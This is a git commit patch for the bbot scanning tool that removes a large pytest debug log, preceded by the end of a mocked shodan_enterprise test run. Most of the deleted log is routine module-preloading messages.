EngineClient DNSHelper: shutting down... +2026-03-02 09:15:09,816 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:15:09,817 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:15:09,817 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:15:09,817 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:15:09,882 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_wwe9k1fxd4 completed in 0 seconds with status FINISHED +2026-03-02 09:15:09,883 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:15:09,884 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:15:09,885 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events +2026-03-02 09:15:09,885 [CRITICAL] bbot test_module_shodan_enterprise.py:77 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] +2026-03-02 09:15:09,885 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2021-12345': 'HIGH', 'CVE-2020-00001': 'LOW', 'CVE-2022-11111': 'CRITICAL'} +2026-03-02 09:15:09,885 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-02 09:15:09,886 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected From 7e5d62e2f431172d10a8d7fc59cca09bab61f342 Mon Sep 17 00:00:00 2001 From: xxix0 Date: Mon, 2 Mar 2026 10:51:02 +0200 Subject: [PATCH 261/912] Remove debug log --- pytest_debug.log | 27682 --------------------------------------------- 1 file changed, 27682 deletions(-) delete mode 100644 pytest_debug.log diff --git a/pytest_debug.log b/pytest_debug.log deleted file mode 100644 index e7c50f077d..0000000000 --- a/pytest_debug.log +++ /dev/null @@ -1,27682 +0,0 @@ -2026-02-11 12:05:25,628 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-02-11 12:05:25,648 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk -2026-02-11 12:05:25,652 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-02-11 12:05:25,654 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-02-11 12:05:25,657 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-02-11 12:05:25,658 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-02-11 12:05:25,659 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk -2026-02-11 12:05:25,661 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk -2026-02-11 12:05:25,662 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-02-11 12:05:25,663 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-11 12:05:25,664 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-11 12:05:25,664 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-11 12:05:25,665 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-11 12:05:25,665 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-11 12:05:25,666 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-11 12:05:25,667 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-11 12:05:25,669 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-11 12:05:25,670 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-11 12:05:25,671 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-11 12:05:25,672 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-11 12:05:25,674 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-11 12:05:25,674 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-11 12:05:25,675 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-11 12:05:25,676 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-11 12:05:25,677 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-11 12:05:25,677 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-02-11 12:05:25,677 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk -2026-02-11 12:05:25,678 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk -2026-02-11 12:05:25,680 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk -2026-02-11 12:05:25,688 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk -2026-02-11 12:05:25,690 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk -2026-02-11 12:05:25,691 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk -2026-02-11 12:05:25,694 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-02-11 12:05:25,695 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-02-11 12:05:25,697 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-02-11 12:05:25,698 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-02-11 12:05:25,700 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-02-11 12:05:25,702 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-02-11 12:05:25,704 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-02-11 12:05:25,705 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-02-11 12:05:25,706 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-02-11 12:05:25,707 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-02-11 12:05:25,708 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-02-11 12:05:25,709 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-02-11 12:05:25,716 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-02-11 12:05:25,718 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-02-11 12:05:25,719 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-02-11 12:05:25,721 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-02-11 12:05:25,725 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-02-11 12:05:25,726 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-02-11 12:05:25,728 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-02-11 12:05:25,730 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk -2026-02-11 12:05:25,731 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk -2026-02-11 12:05:25,732 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk -2026-02-11 12:05:25,734 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk -2026-02-11 12:05:25,734 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk -2026-02-11 12:05:25,738 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk -2026-02-11 12:05:25,739 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk -2026-02-11 12:05:25,741 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk -2026-02-11 12:05:25,744 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk -2026-02-11 12:05:25,745 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk -2026-02-11 12:05:25,746 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk -2026-02-11 12:05:25,747 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk -2026-02-11 12:05:25,749 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk -2026-02-11 12:05:25,750 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk -2026-02-11 12:05:25,754 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk -2026-02-11 12:05:25,755 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk -2026-02-11 12:05:25,756 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk -2026-02-11 12:05:25,760 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk -2026-02-11 12:05:25,770 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk -2026-02-11 12:05:25,771 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk -2026-02-11 12:05:25,808 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk -2026-02-11 12:05:25,809 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk -2026-02-11 12:05:25,811 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk -2026-02-11 12:05:25,814 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk -2026-02-11 12:05:25,815 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk -2026-02-11 12:05:25,816 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk -2026-02-11 12:05:25,817 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk -2026-02-11 12:05:25,819 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk -2026-02-11 12:05:25,824 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk -2026-02-11 12:05:25,826 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk -2026-02-11 12:05:25,827 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk -2026-02-11 12:05:25,828 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk -2026-02-11 12:05:25,831 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk -2026-02-11 12:05:25,834 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk -2026-02-11 12:05:25,835 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk -2026-02-11 12:05:25,836 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk -2026-02-11 12:05:25,837 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk -2026-02-11 12:05:25,838 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk -2026-02-11 12:05:25,839 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk -2026-02-11 12:05:25,840 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk -2026-02-11 12:05:25,842 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk -2026-02-11 12:05:25,844 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk -2026-02-11 12:05:25,848 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk -2026-02-11 12:05:25,850 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk -2026-02-11 12:05:25,851 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk -2026-02-11 12:05:25,857 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk -2026-02-11 12:05:25,859 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk -2026-02-11 12:05:25,861 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk -2026-02-11 12:05:25,863 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk -2026-02-11 12:05:25,864 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk -2026-02-11 12:05:25,865 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk -2026-02-11 12:05:25,866 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk -2026-02-11 12:05:25,867 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk -2026-02-11 12:05:25,868 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk -2026-02-11 12:05:25,870 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk -2026-02-11 12:05:25,871 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk -2026-02-11 12:05:25,873 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk -2026-02-11 12:05:25,875 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk -2026-02-11 12:05:25,877 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk -2026-02-11 12:05:25,878 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk -2026-02-11 12:05:25,879 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk -2026-02-11 12:05:25,880 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk -2026-02-11 12:05:25,881 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk -2026-02-11 12:05:25,883 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk -2026-02-11 12:05:25,885 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk -2026-02-11 12:05:25,886 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk -2026-02-11 12:05:25,888 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk -2026-02-11 12:05:25,889 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk -2026-02-11 12:05:25,890 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk -2026-02-11 12:05:25,891 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk -2026-02-11 12:05:25,893 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk -2026-02-11 12:05:25,897 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk -2026-02-11 12:05:25,898 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk -2026-02-11 12:05:25,900 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk -2026-02-11 12:05:25,903 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk -2026-02-11 12:05:25,904 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk -2026-02-11 12:05:25,905 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk -2026-02-11 12:05:25,906 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk -2026-02-11 12:05:25,908 [DEBUG] bbot.module_loader modules.py:154 Preloading helloworld from disk -2026-02-11 12:05:25,908 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/helloworld.py as it is not a valid BBOT module -2026-02-11 12:05:25,909 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk -2026-02-11 12:05:25,910 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk -2026-02-11 12:05:25,914 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk -2026-02-11 12:05:25,917 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk -2026-02-11 12:05:25,918 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk -2026-02-11 12:05:25,919 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk -2026-02-11 12:05:25,920 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk -2026-02-11 12:05:25,925 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk -2026-02-11 12:05:25,926 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk -2026-02-11 12:05:25,927 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk -2026-02-11 12:05:25,930 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk -2026-02-11 12:05:25,931 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk -2026-02-11 12:05:25,932 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk -2026-02-11 12:05:25,934 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk -2026-02-11 12:05:25,935 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk -2026-02-11 12:05:25,937 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk -2026-02-11 12:05:25,939 [DEBUG] bbot.module_loader modules.py:154 Preloading wappalyzer from disk -2026-02-11 12:05:25,940 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk -2026-02-11 12:05:25,941 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk -2026-02-11 12:05:25,943 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-02-11 12:05:25,944 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk -2026-02-11 12:05:25,945 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk -2026-02-11 12:05:25,947 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk -2026-02-11 12:05:25,948 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk -2026-02-11 12:05:25,950 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk -2026-02-11 12:05:25,951 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk -2026-02-11 12:05:25,954 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk -2026-02-11 12:05:25,957 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk -2026-02-11 12:05:25,958 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk -2026-02-11 12:05:25,960 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk -2026-02-11 12:05:25,962 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk -2026-02-11 12:05:25,963 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk -2026-02-11 12:05:25,965 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk -2026-02-11 12:05:25,966 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk -2026-02-11 12:05:25,967 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk -2026-02-11 12:05:25,969 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk -2026-02-11 12:05:25,971 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk -2026-02-11 12:05:25,972 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk -2026-02-11 12:05:25,974 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk -2026-02-11 12:05:25,976 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk -2026-02-11 12:05:25,978 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk -2026-02-11 12:12:13,614 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-02-11 12:12:13,634 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-11 12:12:13,635 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-11 12:12:13,636 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-11 12:12:13,637 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-11 12:12:13,638 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-11 12:12:13,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-11 12:12:13,640 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-11 12:12:13,643 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-11 12:12:13,644 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-11 12:12:13,645 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-11 12:12:13,645 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-11 12:12:13,647 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-11 12:12:13,647 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-11 12:12:13,648 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-11 12:12:13,649 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-11 12:12:13,650 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-11 12:12:13,651 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-02-11 12:12:13,652 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-11 12:12:13,652 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-11 12:12:13,654 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-11 12:12:13,654 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-11 12:12:13,656 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-11 12:12:13,656 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-11 12:12:13,657 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-11 12:12:13,658 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-11 12:12:13,659 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-11 12:12:13,660 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-11 12:12:13,661 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-11 12:12:13,662 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-11 12:12:13,663 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-11 12:12:13,663 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-11 12:12:13,664 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-11 12:12:13,665 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-11 12:12:13,666 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-11 12:12:13,667 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-11 12:12:13,668 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-11 12:12:13,669 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-11 12:12:13,670 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-11 12:12:13,671 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-02-11 12:12:13,671 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-11 12:12:13,673 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-02-11 12:12:13,674 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-11 12:12:13,674 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-11 12:12:13,675 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-11 12:12:13,676 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-11 12:12:13,676 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-11 12:12:13,677 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-11 12:12:13,678 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-11 12:12:13,678 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-11 12:12:13,679 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-11 12:12:13,679 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-11 12:12:13,680 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-11 12:12:13,688 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-11 12:12:13,689 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-11 12:12:13,690 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-11 12:12:13,690 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-11 12:12:13,691 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-11 12:12:13,692 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-11 12:12:13,693 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-11 12:12:13,693 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-11 12:12:13,694 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-11 12:12:13,695 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-11 12:12:13,696 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-11 12:12:13,696 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-11 12:12:13,697 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-11 12:12:13,698 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-11 12:12:13,699 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-11 12:12:13,699 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-11 12:12:13,701 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-11 12:12:13,702 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-11 12:12:13,703 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-11 12:12:13,704 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-11 12:12:13,704 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-11 12:12:13,706 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-11 12:12:13,706 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-11 12:12:13,707 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-11 12:12:13,707 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-11 12:12:13,717 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-11 12:12:13,718 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-11 12:12:13,719 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-11 12:12:13,720 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-11 12:12:13,721 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-11 12:12:13,722 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-11 